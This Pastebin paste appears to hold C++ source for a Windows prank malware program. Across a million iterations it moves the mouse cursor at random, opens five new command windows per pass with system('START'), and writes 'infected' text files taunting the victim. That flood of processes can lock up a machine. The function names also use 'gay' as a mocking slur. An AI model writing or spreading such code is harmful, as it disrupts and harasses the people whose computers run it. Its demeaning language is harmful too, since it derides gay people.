MrPaan

Troll Gay

Feb 22nd, 2014
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.83 KB | None | 0 0
  1. #include <iostream>
  2. #include <windows.h> // Windows Api
  3. #include <ctime> // MouseGay
  4. #include <fstream> // Write File
  5.  
  6. using namespace std;
  7.  
  8. void mousegay();
  9. void cmdgay();
  10. void filegay();
  11.  
  12. int main(){
  13.  
  14.     /*The Gay Start Here*/
  15.     for (int i=0; i < 1000000; i++){
  16.             mousegay();
  17.             cmdgay();
  18.             filegay();
  19.     }
  20.  
  21. }
  22.  
  23. void mousegay()
  24. {
  25.     for (int i=100; i < 1000; i++){
  26.     int X,Y;
  27.     X = rand()%i;
  28.     Y = rand()%i;
  29.     SetCursorPos(X,Y);
  30.     }
  31. }
  32.  
  33. void cmdgay()
  34. {
  35.     for(int i=0; i < 5; i++){
  36.             system("START");
  37.     }
  38. }
  39.  
  40. void filegay()
  41. {
  42.     ofstream output;
  43.     output.open("infected1.txt");
  44.     output << "You Were Infected By #PHHM" <<endl;
  45.     output << "You Mad ?" << endl;
  46.     output.open("infected2.txt");
  47.     output << "You Were Infected By #PHHM" <<endl;
  48.     output << "You Mad ?" << endl;
  49.     output.open("infected3.txt");
  50.     output << "You Were Infected By #PHHM" <<endl;
  51.     output << "You Mad ?" << endl;
  52.     output.open("infected4.txt");
  53.     output << "You Were Infected By #PHHM" <<endl;
  54.     output << "You Mad ?" << endl;
  55.     output.open("infected5.txt");
  56.     output << "You Were Infected By #PHHM" <<endl;
  57.     output << "You Mad ?" << endl;
  58.     output.open("infected6.txt");
  59.     output << "You Were Infected By #PHHM" <<endl;
  60.     output << "You Mad ?" << endl;
  61.     output.open("infected7.txt");
  62.     output << "You Were Infected By #PHHM" <<endl;
  63.     output << "You Mad ?" << endl;
  64.     output.open("infected8.txt");
  65.     output << "You Were Infected By #PHHM" <<endl;
  66.     output << "You Mad ?" << endl;
  67.     output.open("infected9.txt");
  68.     output << "You Were Infected By #PHHM" <<endl;
  69.     output << "You Mad ?" << endl;
  70.     output.open("infected10.txt");
  71.     output << "You Were Infected By #PHHM" <<endl;
  72.     output << "You Mad ?" << endl;
  73. }
Advertisement
Add Comment
Please, Sign In to add comment